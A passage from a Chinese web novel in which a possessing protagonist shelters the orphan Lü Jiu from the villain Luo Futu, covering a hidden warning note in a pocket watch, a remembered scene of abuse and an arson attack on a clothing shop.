居然卖了一个银元!银元啊!能换成一百二十多枚铜板,能足足买到好几斤的猪肉!! 吕九懒洋洋地说:“怎么样,说你能卖出比这一篮子花更多的钱,没骗你吧?” 钱拿在手里的卖花郎对吕九五体投地:“没有没有,你真厉害!真神了!” “知道就好。”吕九毫无负担地比划一下,“我们再谈谈这分成吧,你四,我六。” 卖花郎愣住:“啊?不是说好了……” “不愿意就算了,不卖了,找个地方去换钱分钱。”吕九一把拿走他手里的银元,丝毫没有拖泥带水地转身。 “不不不,我愿意!等一下!愿意愿意!”卖花郎哪能看着这棵摇钱树跑走,连忙追下去,忍着肉疼答应吕九的要求。 谢叙白看在眼里,莞尔地摇了摇头。 不到半天的相处观望下来,他大概摸透了吕九这个时期的性情。 谨慎聪明,自力更生不在话下,看似冷漠但容易心软,但分别的时候也不会有半点犹豫。 还有,即使利润分半也要多贪一分,绝对不肯吃亏。 大都市的晚上歌舞升平,却不见得太平,他俩都是小孩,手无缚鸡之力,钱赚太多,容易遭到他人的觊觎。 吕九大概知道这一点,与卖花郎商定卖一个时辰就停手,好赶在傍晚来临前找个安全的住处落脚。 但就在他们卖完花,准备离开的时候,海面忽然驶来一艘客船。 在被黄昏渲染得一片火红的天幕下,庞然大物发出震天嗡鸣,轰然驶入港口,停靠在岸。 走出路口的吕九,忽然一阵没来由的心悸,捂住胸口折返回去,闪身躲在一辆马车后。 客船放下舷梯,一批乘客陆续下船。 吕九不错眼地凝视。直至看见一名穿唐装戴瓜皮帽的男人,带着几名手下出现,他像始料不及,瞳孔猝然扩大三分。 罗浮屠! 谢叙白听不到吕九的心声,但从对方惊慌意外的表情细节,大概能猜到吕九在想什么。 ——远在一千公里外的罗浮屠为什么会来到这里,难道戏院的生意不做了,也要亲自来抓他? 吕九百思不得其解,缩在马车边,脸色阴沉得可怕,不受控制地将发抖的手指头放在嘴里,开咬。齿尖磨破皮,流出血了都没反应。 眼见罗浮屠将要离去,他一咬牙,选择跟踪罗浮屠,但不敢靠得太近,怕被人发现。 所幸他隐藏得很好,罗浮屠似乎也真的有生意要谈,先和几个陌生人会面,笑逐颜开地前往会馆,又去参加了什么茶宴,没发现身后有一个小尾巴在跟踪自己。 直至半夜三更,一名男子行迹鬼祟,来到罗浮屠所宿的旅馆前,屈指敲门。 门下的灯散着朦胧昏白的光,照亮对方隐藏在阴影中的脸。 吕九的眉头狠狠一跳。 谢叙白一样忍不住蹙眉。那个男人他并不陌生,就是白天跟在顾南身旁的顾家管事。 第142章 心跳骤停 原来不是罗浮屠安排吕九买通顾家的下人,而是在吕九进入顾家之前,早就有管事和罗浮屠勾结在了一起。 罗浮屠出门,接见这名管事,谢叙白跟进去旁听他们的密谋。 两人坐下,屡次谈及怎么截断顾家的供货渠道、资金链和账面漏洞——果真在商讨怎么对付顾家。 这一幕是明晃晃的罪证。谢叙白当即用精神力掩盖吕九的踪迹,唤醒意识海里沉睡的顾南。 顾南才醒来,还有点迷糊。 直至看见自家管事与罗浮屠言谈甚密,听到他们把顾家当成砧板上的鱼肉,琢磨着怎么开刀,脑子里仿佛有根名为理智的弦倏然崩断! 顾南怨气大涨,双眼赤红,恨不得冲上去将他们碎尸万段,啖其血肉。 谢叙白将其拦下,用精神力安抚顾南急剧起伏的情绪,不止是安慰,也是承诺:“他们会受到应有的惩罚。” 让顾南出来不为旁事,只为让人看清,并非吕九收买了顾家下人。 期间,罗浮屠和管事亦提到“那位大人”“我的主顾”之类的称呼,说明在他们的头上,确实有位奸恶的幕后主使,或许还不止一位。 对谢叙白来说不妨事,对他来说,把那些人抓出来,不过是时间的问题。 安抚好顾南,谢叙白这才撤掉精神屏障,让小少爷看见躲在对街观望的吕九。 和记忆里的仇人打了个照面,顾南瞬间就像刚才看见罗浮屠一样,胸口剧烈起伏,眼神生恨,皮肤爬满黑色焦痕,露出狰狞可怖的诡相。 但或许是谢叙白站在旁边,也或许是实际情况和他预料中不符,顾南快速换上两口气,强忍恨意。 谢叙白陪着他,和吕九一起等到管事和罗浮屠谈话结束。 管事离开不久后,罗浮屠所在的旅馆跟着熄了灯。吕九就在阴影中站着,摸着手指头咬出来的血口,神色沉入黑暗,叫人看不分明。 更深露重,月色明晰,街道死一般沉静。 良久,吕九吐出一口气,轻轻地说了一句:“管他呢,和我有什么关系?” 他这次能逃出来都差点丢掉半条命,躲着罗浮屠还来不及,又能顾得上谁? 吕九甩了甩站得僵麻的双腿,咽下嘴里带血的沫子,背着手,大步往远处走。 走着走着,忽然就将手探入口袋,拿出谢叙白之前给的怀表,挑开表盖。 银白指针咔哒咔哒地转动,外层玻片在月色下泛起鱼鳞板的波光。 吕九盯着它一直看,看到眼酸,揉了揉泛起血丝的眼睛,深吸一口气,将怀表粗鲁地揣回口袋。 第二天一大早,吕九找到书屋,租笔买纸,歪歪扭扭地写下顾家管事夜里会见罗浮屠的事,言及他们恐有异心,望仔细一查。 他又拿出一张纸,以罗浮屠为开头,想特别供出这人的身份,但写到中途就卡住了,拧着眉头,似乎也知道得不多。 加上怀表内层空间有限,只能塞下一张小小的纸条,吕九只能作罢。 做好这些准备,吕九带着藏有纸条的怀表来到顾家大院前,招手喊来一个乞丐:“你认不认识宅院里的主人家?” 乞丐瞅他一眼,点点头。 吕九给他几个铜板,低声叮嘱道:“一会儿,要是有老爷、夫人或是少爷出来,你就帮我把这玩意交给他们,听明白没有?” 乞丐说明白。 吕九便将怀表也交给对方。 怀表脱手,他当即松了一口气,结果还没来得及挺直身,眼前嗖嗖一道黑影掠过,那乞丐居然拿着怀表跑了! 吕九登时懵了。 谢叙白料想吕九一路走来,应该遇到过不少坑蒙拐骗的人,但一直没人成功阴到过他。昨日面对卖花郎时,吕九眉飞色舞,侃侃而谈,瞧着就有几分自得傲气。现在被一个乞丐轻轻松松夺走的东西,不知道该有多生气。 果不其然,吕九望着乞丐逃离的背影,瞬间怒火中烧。还好他跑得快,反应也快,没一会儿抓到那名乞丐,连骂带踹:“恁你娘的小贼,敢黑老子的东西!?你给我还回来!” 他俩闹得动静太大,惊动了不远处的纠察队。为首的队长走过来,冷眼一横,强硬掰开殴打在一起的两人,质问道:“你们在干什么?” 乞丐见纠察队围过来,发现事情大条了,死鸭子嘴硬,急急忙忙反咬一口:“明明是你把东西交给我的,周围的人可都看见了!怎么还想着抢回去!” 吕九气得青筋直跳,对上纠察队长探究的目光,绞尽脑汁地想着该怎么遮掩过去。 可已经晚了,纠察队长看见乞丐手里的怀表,眉峰一皱,将怀表拿过来,怀疑地看向吕九:“这个表,你是从哪里得来的?” 表很贵,是个人都能看出来,但纠察队长除此之外,还认出表盘上刻着顾家珍宝阁的印记。这物什不是平民百姓能得到的,他严重怀疑吕九是个小偷。 吕九头疼不已,他可不想坐牢吃板子,而且进去后没人能赎他,只得将昨天下午的事情告知。 见纠察队长将信将疑,吕九无奈道:“您要是不相信,顾家宅院就在眼前,可以安排个人跟着我一起进去,见过顾家少爷,就知道我说没说谎了。” 许是吕九表现得不卑不亢,年纪不大却谈吐得体,纠察队长又算得上一个好人,终归没将他扣押下狱,亲自带着吕九登门拜访。 吕九被逼着来到顾家大门口,仰头看着富丽堂皇的宅院别墅,又低头看看纠察队长别在腰间的配枪,终于是笑不出来了。 纠察队长拜托门房给主家通报一声他们前来拜访的消息,好巧不巧,顾夫人和“顾南”正坐在大厅吃早饭。 昨天顾南为了找到吕九,在街市上闹出很大的阵仗,当时顾夫人被儿子怨憎疯魔的表情吓了一大跳,自然将这事记挂在心上。 听到纠察队长带着吕九上门,顾夫人眉头一抬,想也没想地让佣人招呼他们进来。 见到顾夫人,纠察队长露出笑脸,将怀表递交过去:“夫人,这小子一大早就蹲在门口,说东西太贵重,他拿着不安心,帮人救人是他理该做的,不图回报,特意上门将东西归还。” 吕九埋着脑袋,不着痕迹地拿余光打量顾夫人,见对方只是将怀表拿在手里,没有当众打开,悬在嗓子眼的心脏终于是松了松。 顾夫人知道眼前的少年名叫吕九,顾南昨日口口声声要千刀万剐的吕九,拿着怀表,狐疑地转头。 披着顾南壳子的谢叙白正在喝粥,动作慢条斯理,温文尔雅,丝毫没有发疯的迹象。见顾夫人看向他,立时笑道:“娘,厨子今天做的鸡丝春卷,味道着实不错,您快也尝尝看。” 顾夫人直觉古怪,当着外人的面,也只能暂时按下疑惑,嗔怪地拍了下谢叙白的脑袋:“这孩子,找到小白的恩人来访,你就只顾着吃?一点礼貌都没有!” 为了圆谎,谢叙白用精神力更改了顾家人的记忆,让他们真的以为自己收留了一个名为顾白的孩子。 听到这一声小白,吕九总算舍得抬头。 一家人用早餐,环顾一圈却没看见小孩的影子,他眼神微变,正要开口询问,忽然身后传来一道中气十足的男声。 “哈哈哈,陈队长,难得您有空来我这儿。” 所有人循声去看,来人正是顾家主,年约四旬有余,五官端正,器宇轩昂,一双眼睛炯炯有神,威严中透出几分和蔼可亲。 顾家主身后还跟着一人,当那人露出脸时,吕九脑子一炸,瞳孔狠狠一凝,仿佛骤然掉进冰窟窿,寒意从骨子里渗出,顺着脊髓窜入后脑神经。 来客注意吕九的目光,冲他弯起如鹰隼般的眼睛,笑了一下。 那眼神仿佛在幽幽地说:找到你了。 顾家主笑着介绍道:“夫人,陈队长,这位是远道而来的罗老板,他们店的织锦绸缎可是在各地都享有名号。” 又介绍谢叙白:“这位是犬子,顾南。” “没有没有,小本生意,顾家主过誉了。”客人连忙摆手谦虚一句,挨个握手作礼,彬彬有礼地笑道,“陈队长好,夫人好,顾少爷,在下罗浮屠。” 谢叙白忽然感应到一股剧烈的情绪波动。 恐惧,慌张,憎恶,愤怒…… 止不住的负面情绪像炮仗般轰然炸开,强烈得令人惊心动魄,最后汇聚在一起,争先恐后地叫囔着一个字。 ——跑。 吕九大脑一片空白,只剩下这一个念头。 他觉得自己逃脱了,能忍住害怕跟踪罗浮屠,还能扭过头尝试坑这个男人一把。 可当罗浮屠的名字一出现,当他和面前笑里藏刀的胡子男对视在一起,深入骨髓的恐惧,终于再次化作阴翳将他笼罩。 跑……他要,他要跑!跑……! 啪嗒。 罗浮屠来到吕九身边,手掌轻轻地按在他的肩膀上。 吕九的心跳瞬间空了一拍,瞳孔寸寸扩张。 旁人都看不见的角度,罗浮屠的大拇指甲猛地掐进吕九的肉里,贴近对方耳边,笑声如毒蛇吐信:“远在门口就瞧见了,还不知道这位小兄弟是谁呢。” 第143章 “可以试一试,没准我…… 罗浮屠将音量压得极低,在场除了谢叙白以外,无人发现他们两人的异常。 顾夫人也就顺势接过话茬,乐呵呵地将昨天发生的事情简述了一遍。 罗浮屠捋捋胡子,貌似赞许地笑道:“原来是这样,真是个品性高洁的小伙子。听你的口音,似乎不是本地人,怎么到海都来了?” “……”吕九用力地掐了一把掌心,竭力掩盖起伏的情绪,低眉顺眼地说,“今年收成不好,家里揭不开锅,听说海都能挣大钱,阿爹让我随阿叔过来打零工,顺带着见见世面。” 罗浮屠眯着眼睛,冲他揶揄一问:“想挣大钱,怎么把表还了回来,你不知道这款表是市场上限售的珍品,价值千金吗?” “千金?”吕九像是被惊住,登时提高音量,惶恐地连连摆手,“我,我不知道,太贵重了,我不能收的!各位老爷、夫人、少爷,既然东西已经还给了你们,那我能走了吗?我家叔还在等我,要是一直看不着我的人,他不知道会着急成什么样。” 罗浮屠:“哦?你叔叔在哪里,需不需要我找人帮你带个口信……” 吕九:“不用不用!” 吕九佯装被热情的问候弄得无所适从,立马转身,强忍着跑的冲动,大步流星走向宅院大门。 罗浮屠犹带着笑意的眼神落在吕九的后背,宛如利爪刮着后心,令他浑身寒毛直竖,鬓角冷汗渗出。他在心里不停默念,紧张地丈量自己和生路的距离。 三十米,二十五米,二十米…… 就快了,就快了……罗浮屠过来做生意,不可能为他一个市井小儿怠慢顾家主……他不会追上来的,能跑,可以跑,不怕不怕不怕,速度快点,再快点……! 然而就在此时,背后的罗浮屠突然笑了一声。 吕九猝然止步。 他停下来,不是因为罗浮屠笑了,而是在这一声轻笑传开后,雕纹大门的侧面忽然站出两道雄壮的身影。 从刚才开始,他们就躲在吕九的视野盲区,如狼似虎地盯着他。 吕九死也不会忘记这些人的面孔,他们是罗浮屠的得力手下,和那三个追他的狗腿子不一样。正面对上,跑不过,更打不过。 屋子里的罗浮屠还在和顾家夫妇侃侃而谈,笑声爽朗和蔼:“顾老板,实不相瞒,我有点喜欢这小子,为财而来却不贪财,实在难得。刚才还准备邀请这小子来跟我做事,没想到他跑得这么快。” “刚才我们聊到哪儿了?哦对,锦州那批货……顾夫人,这表有点奇怪,里面是不是夹着什么东西?” 谈话声隐隐约约传来。暖阳当头,吕九却觉得浑身冷得刺骨。 他扭头,看向屋内大厅。 饭桌前的众人被罗浮屠一句话引起好奇,视线纷纷落在顾夫人手里的怀表。 只要一打开,里面就会掉出来一张纸条,上面写着顾家管事夜会罗浮屠的秘事。 ——如果他们看到纸条上的内容,那么他会怎么样? 吕九的念头千回百转。 这事很严重,不管是职责所在还是给顾家一个交代,姓陈的巡查队长绝对不会放他走。罗浮屠为了自证清白,也会抓着他不放。他没有证据,只有一张嘴,可谁会相信小孩的“胡言乱语”? 直接坦白的话,顾家有几分信他的可能? 不,他们根本就不会信! 刚才他急着脱困,和罗浮屠虚与委蛇,假装不认识。前后矛盾,顾家人只会把他们俩一起怀疑上。 吕九浑身战栗。 要是这事最后不了了之,那么知道他行踪的罗浮屠会—— 冷不丁的,关注怀表的罗浮屠不经意地撩开眼皮,朝他微微一笑。 ——会杀了他。 罗浮屠会杀死他。他会死得很惨。 吕九不由得开始疑惑,疑惑自己为什么图省钱不买信封。要是纸条装在信封里,罗浮屠就算发觉不对劲,也不能要求顾夫人当面打开。 又疑惑自己为什么要管这劳什子破事。他简直是个傻子蠢货二愣子,也不看看自己是个什么德行,有那个闲工夫和能力去管别人的死活吗?啊?! 啪的一声轻响,吕九的手腕忽然被人从旁抓住。 吕九浑身一震,满眼红血丝地看过去,看到了“顾南”那张平静的脸。 他瞳孔一缩,再抬头,发现大厅死一般寂静。 顾家夫妇和陈队长看着他,罗浮屠也看着他。 顾家主亲切地问:“怎么了,这位小兄弟?” 吕九有些茫然,还有点喘不上气,回头看了看,才发现自己刚才脑子一充血,居然从门口跑了回来。 他跑回来干什么?想把怀表抢走吗?眼前这么多人,他抢得过吗? 理智回笼,吕九却情愿自己昏过去。 此刻他站在众人的面前,对上数双狐疑的眼睛。恐惧和紧张裹挟着他,被谢叙白抓住的手不停发颤。 他拼命想理由解释自己的异常行为,可大脑就是一片空白,什么都想不到,舔了舔干涩的嘴唇:“我……” 谢叙白忽然动了,笑着喊了一声娘,赶在顾夫人将怀表打开前将东西拿过来,塞回吕九的口袋,笑着说:“刚才我就想说了,送出去的东西哪有拿回来的道理。” 吕九的眼皮猛然一颤,不敢置信地摸向口袋里的怀表。 心跳还没稳住,又听见谢叙白对顾家主说:“不论如何,都不能让顾家的恩人空手而归,爹,你说是不是?” 先不说顾家主一贯宠儿无度,当着外人的面,也不会给孩子落下脸,失笑点头:“这是当然,收着吧,孩子,你们初来海都也不方便。” 谢叙白看向懵逼的吕九:“你也别不好意思,这东西就是再贵重,也比不过我们心里的感激,就好生收下吧。” “对了,你是不是没吃饭?阿荣,帮我找厨房再做一份早饭,端到我房间来!” 吕九嚅嗫嘴唇,谢叙白却不给他开口的机会,不容置疑地道:“你就吃完饭再走,你叔那边不用担心,我找人帮你说一声,告诉他你晚点回去。” 见谢叙白拽着吕九往楼上走,顾夫人哎哎叫了两声:“怎么就走了,在这儿吃不行?” 谢叙白将吕九推入拐角,朝顾夫人挤眉弄眼地撒娇:“你们大人要谈正事,我们做晚辈哪能在旁边打扰?陈队长,罗老板,爹,你们忙,你们忙——” 罗浮屠鹰隼般阴森的视线消失,吕九才终于再次感受到人间的温度,搓了搓汗湿僵麻的掌心,扭头,对上谢叙白的眼睛,恍惚中有几分失神。 一整晚都沉默地飘在谢叙白身边,没有任何动静的顾南残魂,忽然开口道:“……我想起来了。” 顾南嘴唇张合,嗓音艰涩:“来还表的那天,他晕倒了,醒来后,就求我……跪着磕头求我收留。” 真实过去里的吕九,在被三个狗腿围殴的时候,没有谢叙白的从旁协助,后脑勺吃上一记闷棍,瞬间头破血流,头晕目眩。 等他拼着最后一股劲,发狠地解决掉那三人,已是强弩之末,手扶着墙,摇摇晃晃,一路淌着血走出巷子,栽倒在顾南的轿车前。 顾南没见过伤得这么惨重的小孩,震惊的同时,泛起怜悯之心,亲自带人去附近的医院。 吕九警惕心重,检查包扎的时候就惊醒过来,但意识尚不明晰。他于疼痛中,迷迷糊糊地看见顾南往他口袋里塞了些钱,又把怀表交给他,笑容明朗,说有事可来顾家找他。 之后的发展大差不离。 吕九伤重,没去港口卖花,但在离开医院的时候,无意瞥见拉着罗浮屠的黄包车。 他呼吸一滞,忍着疼痛快跑跟上去,东绕西绕之后,又撞见顾家管事,也就是白天医院里跟着顾南的人,居然与罗浮屠勾结在一起。 吕九站在死寂昏黑的街道上,做过同样的挣扎,最后也做出了同样的选择。 之后,和乞丐起争执,遇到陈队长,遭人怀疑,无奈地进了顾家,将怀表亲自交还给顾夫人,猝不及防地和罗浮屠打了个正面。 吕九很了解罗浮屠,他知道自己要是逃跑,被抓住顶多打断腿。但要是让罗浮屠知道,自己有对付他的异心和胆量,他会被活生生地剥下来一层皮。 可在当时,没有谢叙白给吕九解围,顾南也想不到怀表里塞了张纸条,那张纸条上藏着吕九对罗浮屠的恐惧。 怀表被顾夫人打开,纸条啪嗒一声掉在地上,宛若丧钟敲响。 吕九心跳一漏,发疯发狂地冲过去,抢来纸条塞进嘴里。 罗浮屠意识到问题,脸皮垮下来,阴沉得可怕,不由分说地揪住吕九,伸手指用力抠他的嗓子眼,面上还要假惺惺地关切:“这孩子把什么东西吃进去了,大家快帮帮忙,让他吐出来!不能乱吃啊!” 陈队长的审讯手法是专业的,吕九吞纸条明摆着有问题,他没法不怀疑。 他便帮罗浮屠,掰住吕九的下巴,让吕九合不上嘴。又手和膝盖并用,压得吕九手脚屈起,只能趴跪在地上。 罗浮屠嘭嘭拍着吕九的背,巴掌砸在没有愈合的伤口上,痛得吕九眼前发黑。罗浮屠的指甲在他嘴里不停地抠,抠得口腔内壁出血,比针扎还疼。他再次嗅到罗浮屠身上的气味,烟味、泥腥味、好像血液变质后的腐臭味。 他好想吐。 吕九拼命地捂住嘴,泪水和胃液酸水在反复作呕的过程中一起涌出,又被他硬生生咽了回去。他不能吐。 不知道折腾多久,才昏了过去。 罗浮屠再三强调吕九有问题,顾家夫妇也心知小孩身上疑点重重,但看见吕九昏倒和满身伤痕,终究还是心软了,只当没看见那纸条,也不让罗浮屠继续给小孩催吐。 吕九再次醒来,是在顾家的客房。 顾家夫妇要忙,陈队长和罗浮屠也走了。顾南闻讯赶过来,正看见吕九背靠着墙,炸毛的刺猬般蜷成一团,谁靠近就瞪谁,眼神凶得很。 而顾家的某位管事端着药,苦口婆心地劝吕九把药喝下去:“客人,快喝吧。” 顾南调侃吕九:“怎么不愿意喝药?难不成怕苦呀。” 吕九不吭声,那管事讲笑话似的替他回答:“不是怕苦,小客人怀疑里面掺了毒药。” 顾南果不其然给气笑了:“毒?我说小鬼你是不是异想天开!你就是个小乞丐,一穷二白,身无分文的,我们毒死你有什么好处?” 吕九盯着管事的脸,沉默几秒,忽然也笑了,双臂环抱,五指在胳膊上抓出红印子,笑得身体都在抖。 当时顾南读不懂那笑,也不知道端药的管事就是和罗浮屠勾结的叛徒之一。 他就感觉吕九笑得比哭还难看,脑子好像还有点问题。 再然后,吕九跟个炮仗似的,忽然从床上蹦起来,嘭的一下把管事手里的药碗撞翻,跪在地上。 他开始磕头,脑袋砸在结实的地板上,砰砰响,说自己其实父母双亡,没有地方去,恳求顾南能收留他。做书童也好,做手下也罢,什么都可以,只求能留在顾南的身边,贴身还报恩情。 回忆结束,残魂顾南苦笑地说:“说实话,当时我只觉得这小孩莫名其妙,怎么突然改口想留下来,怕不是别有用心,看上了顾家的什么。” 顾南理智上没想着同意。 但是吕九在求他。红着眼眶,流着泪,求他。 顾南:“有的人,一眼就能看出他的不寻常和傲骨铮铮,吕九就是这样的人。当初我带他去医院,医生给他打麻药,伤口清创缝针,哪知这家伙耐药性强,居然在中途醒了过来。当时大家都吓住了,万一病人挣扎该怎么办?谁想到吕九反手扣住床沿,手背青筋都爆出来了,愣是一声没吭。” “当时我就想,这家伙才多少岁啊,他是个怪物吧?” 那一幕给顾南带来的冲击极大,也让他鬼使神差地没有立刻离开。 在吕九术后犯迷糊的时间里,顾南发现这小孩对任何人都自带一种看似亲昵的疏离感。 护士、医生、隔壁床的病人。无论是谁靠近,吕九都会反射性地去看一眼,冲人甜甜地笑一笑,然后扭过头,面无表情。 大概是犯贱吧。 发现吕九可能是一个看似热情、实则冷漠的人后,顾南心里忽然有了不一样的感触,像是好奇,又像是想要折断、征服什么的冲动。 以至于看见吕九对着他落泪,他再一次鬼迷心窍,居高临下地凝视跪地的小孩,反问:“我让你做什么都行,别开玩笑了,难道我叫你去死,你也会照做?” 吕九定定地看着他,殷红的眼尾缀着泪,绷紧的肩膀蓦然一松,笑了笑:“顾少爷可以试一试,没准我真的会去死呢?” 过往烟云随潮散,直至好戏再开场,岁月斗转重回旧时。 重生回来的顾南,摈弃满腔怨恨,窥见幕后隐秘,再去回想吕九这段时间风轻云淡的几次笑,终是读出了那笑容之下,刻骨铭心的绝望。 第144章 不会抛弃你 新揭露的真相让顾南大受打击,和谢叙白共享完记忆后羞愧见人,躲进意识海里自闭去了。 谢叙白给他时间冷静冷静,见吕九还站在原地,弯眸笑道:“是不是我爹他们太严肃,让你有点不自在?放心,我爹接下来要为罗老板接风洗尘,估计很快就会出门。” “昨天小白一直嚷嚷着你的事。他这会儿应该醒了,你跟我去见见他吧,他要是看见你,一定会很高兴的。” 吕九一手按着口袋里差点坏事的怀表,一手按着心跳剧烈的胸口。刚才过于紧张,这阵不仅有点虚脱腿软,连带着胃也在抽搐,酸水翻涌。 谢叙白从他面前走过,单手按在他肩膀上安抚地一拍,吕九下意识躲开。 见人拒绝得这么明显,谢叙白佯装尴尬地收回手,挠了挠脸颊。不消多时,走廊的某个房间探出个小脑袋,见到吕九,立马双眼放光,兴高采烈地扑了上来:“大哥哥!” 这小孩扑人,是实打实地往上一蹦。吕九眉头一抽,反射性伸手去接,不出意外被扑了个满怀。 脏兮兮的小萝卜头,摇身一变精致小娃娃,带着淡淡的皂香,小小的身子好像软到没骨头,笑容干净又明媚。 吕九本来打算接稳后就把这小鬼丢一边,被孩子亲昵地勾住脖颈蹭了蹭,也不由得动作一顿。 少顷他抬了抬眉毛,凑到小孩的耳边,声音低得只有对方能听见:“臭小子,别跟我装了,瘆得慌。” 小孩眨巴眼睛,一副没听懂的样子:“大哥哥?” 吕九完全不吃这套。 他可还记得这小鬼头昨日几次靠掉眼泪蒙混过关,要不是见到“顾南”后,这小子从沉默落泪到雀跃活泼,瞬息之间变化嘴脸,他差点真信了这家伙心思单纯。 吕九放他下来,忽然想到什么,表情阴郁一瞬,再看向小孩,又柔和不少。他揉揉对方的脑袋,轻声道:“算了,这样也挺好。”心思多,才能活得长久。 谢叙白领他进房间,少顷,佣人阿荣将早饭送了进来。 不确定谢叙白是否要一起用餐,这次那名管事没胆子暗中下毒。谢叙白检测完毕,为打消吕九的戒心,先吃了几口。 吕九看在眼里,也拿起来吃,不留痕迹地拿余光打量谢叙白。 今早来时,他特意和周边居民商贩打听了一下顾南的为人。顾家主没娶姨太太,只有一位正房夫人。除去收养的顾白,孕有两子两女,顾南是老幺,自小受尽宠爱,被兄长姐姐们宠成了一副温软天真的性子。 吕九却觉得眼前的少年有些奇怪。刚才客人在场时的骄纵言语,细究起来都是在为他解围。他怕纸条败露,冲回来抢夺怀表的时候,也是“顾南”第一时间反应过来,阻止了他。 吕九知道,大户人家的子弟不可能一点城府都没有,可种种迹象表明,“顾南”有的不止是一点城府。 端坐着,嘴唇微翘的少年,气质温雅淡泊,就像一眼窥不透的青山。 “你要是再磨蹭,我家后厨精心熬煮几小时的芙蓉银丝粥就该凉了。”少年忽然开腔,笑眼瞥过去。 偷看对方却被逮了个正着,吕九悻悻地摸了摸鼻子,端起碗来认真吃。 许是热粥暖胃,不知不觉,胃好像没有刚才那般难受了。 吃完早餐,佣人过来收拾。谢叙白询问顾家主等人是否离开,佣人点头。 吕九却没有放松警惕,来到窗前,透过窗帘缝隙朝外看,果不其然在宅院门口瞧见一道蹲守的人影。 吕九抿紧嘴唇,想着该怎么离开才不会引起那人的注意,又想到顾家管事或许早已派人守在楼下,就等着他自投罗网,难免心里一沉。 谢叙白忽然问他:“其实根本没有你叔这个人,你是一个人来海都的,对不对?” “顾少爷说笑了,我就是一个小孩子,要是身边没有大人在,那些船员怎么可能让我上船嘛?” “那你家叔对你也太不上心了。” 昨日他俩见面,吕九浑身脏得就像个泥球,和流浪儿没什么区别。 吕九打了个哈哈,准备将这话茬含糊过去,却听到谢叙白再问:“其实我想问的是,你愿不愿意留下来,和我们家小白做个伴?” 吕九微一停顿。 他刚才就想过厚着脸皮挟恩求报,央“顾南”让自己在这里多停留几天,等罗浮屠的人手松懈后离开。 “顾南”这一问,简直是瞌睡来了有人送枕头。 只是那股怪异的感觉再次冒了出来。 面前这人是不是对他太好了? 很快吕九发现,怀疑顾南对他存着“非分之想”,并非是他的臆想。 那明里暗里的体贴,不浓烈,不显眼,却如风常伴。譬如每晚入睡前的一声晚安、一杯热牛乳,当他无聊时“恰巧”送来的话本闲书。还有餐桌前怕他拘束,帮忙夹菜,叮嘱他不要挑食。 诸如此类,数不胜数。 顾家夫妇看在眼里,也曾调侃地说,自从吕九来到顾家,“顾南”都有了大人的模样。可见这点点滴滴的诸多关照,确实因他而起。 然而吕九第一反应不是感动,而是戒备。天底下没有无缘无故的好,除非那人有所图谋。他看不透“顾南”想要从他身上夺取什么,只觉得不安。 在顾家的日子,虽过得舒心惬意,不用操心温饱,吕九却没有一刻不想着离开,因知晓自己不属于这里,也因发现罗浮屠将屠刀对准顾家,早晚会把这里搅得腥风血雨。他无力抗衡,只想保全自己。 也终于,叫吕九等到一次安全离开的机会。 谢叙白想要为他置办秋装,吕九以不自在为由,坚决不要裁缝来为他量身定制,央求谢叙白带他出门,透透气。 他们乘坐轿车,将罗浮屠的人手远远地甩在身后。抵达服装商铺后,吕九又忽然囔囔着腹痛,待谢叙白关切靠近,不动声色地将写满警告的小纸条塞进对方的大衣口袋。 想到“顾南”可能会因为自己的消失心急如焚,吕九在心里双手合十,真挚地道上一句对不起,然后头也不回,趁去茅房时果断溜走。 可他走出去还没有两百米,后方忽然传来一声轰然巨响。 吕九错愕转身,见商铺所在的位置竟发生爆炸,火势汹涌,染红半边天,滚滚黑烟直冲云霄,人群焦急逃窜,大声叫囔着:“走水了!店里面还有人,快救人!” 吕九大脑一空,反应过来的时候已经跑了回去。 烧焦的牌匾掉在地上,热浪扑面而来,空气在高温中扭曲,弥漫着浓烈的柴油味——不是意外,是有人蓄意纵火! 吕九呼吸发紧,左顾右盼寻找谢叙白的踪迹。 没有,没有,哪里都没有!忽然,他在围观的人群中,瞥见一道熊壮高壮的身影,那一刻,心如冰窟。 巡查队还在赶来的路上,但等他们来,商铺都得被烧没。吕九脱下衣服,不管不顾地从救援者手里抢来水桶,将衣服泼湿,往身上一盖,用最快的速度冲进店内。 店里全是黑烟,熊熊火舌灼得肌肤生疼,他呼吸不畅,压着咳嗽用力喊:“顾南!顾南!你在哪儿?回答我!” 再一回头,倒塌的大型衣架下压着什么东西,好似一个人。 吕九瞳孔一凝,嘴唇轻微哆嗦,快步往前跑,却听头顶传来“噼啪”脆响。他下意识往上一看,只见焦黑木梁被火焰烧断,夸嚓砸下。 千钧一发之际,一道金光掠过火海,将木梁重重甩开。吕九来不及看清情况,便被谢叙白捂住双眼,拥入怀中,冒着浓烟,箭步带出起火的商铺。 赶来救援的人瞬间一拥而上:“顾少爷!”“顾少爷你怎么样?”“这小孩刚才是怎么跑进去的?怎么没人拦住他!” 谢叙白对恶念相当敏感,凶手纵火时便有所察觉。他找了个借口将店里的人全部支出去,操控识念找到凶手,未曾想,竟然又是罗浮屠的人。 不是罗浮屠安插在顾家宅院门口的监视者,是另外的人,谢叙白通过心声确定了他的身份。 纵火不为其他,一是趁乱将吕九掳走,二是这家商铺由顾家交好的某个世家开设,顾南若是死在这场“意外”中,两家必定决裂。 难怪罗浮屠对顾家下黑手,后者会防不胜防,一败涂地。照罗浮屠的行动速度,对方至少在海都混迹了七、八年,势力布控早已深入各个闹市街区,才能这样迅速。只是罗浮屠一直隐藏在幕后,不显山不露水,才被顾家主误以为初来乍到。 谢叙白轻叹一口气。怀里的吕九一直在颤抖,他将所有的思虑抛到脑后,反手柔声拍哄:“好了好了,没事了,不怕了啊。” 殊不知吕九并不只是害怕。 焦烟弥漫,人声嘈杂,空气依旧滚烫灼热,一切都是那样混乱。吕九就像被迫卷入漩涡中的一叶孤舟,无措、无力、心惊胆战。 偏偏他在这片混乱中感受到一抹宁静,情不自禁地紧贴过去,才发现那让他宁静的东西,是谢叙白的心跳,平稳有力,意味着这个人还活着。 吕九的直觉一向敏锐准确,他笃定“顾南”对自己怀揣着某种目的。得益于阿娘给予的这副好皮囊,这种事情他遇到过不少,所以在“顾南”面前,他一直秉持着疏离、回避的态度,决定离开时,也能毫不犹豫地潇洒离去。 直至以为“顾南”深陷火海,直至在倒塌的大型衣架下,瞄见疑似“顾南”尸体的东西。 像利刃一寸寸割开咽喉,连呼吸都带着灼热的抽痛。吕九蜷在谢叙白的怀里,双手用力揪住他的衣领,一字一顿,厉声质问:“你为什么对我这么好?” 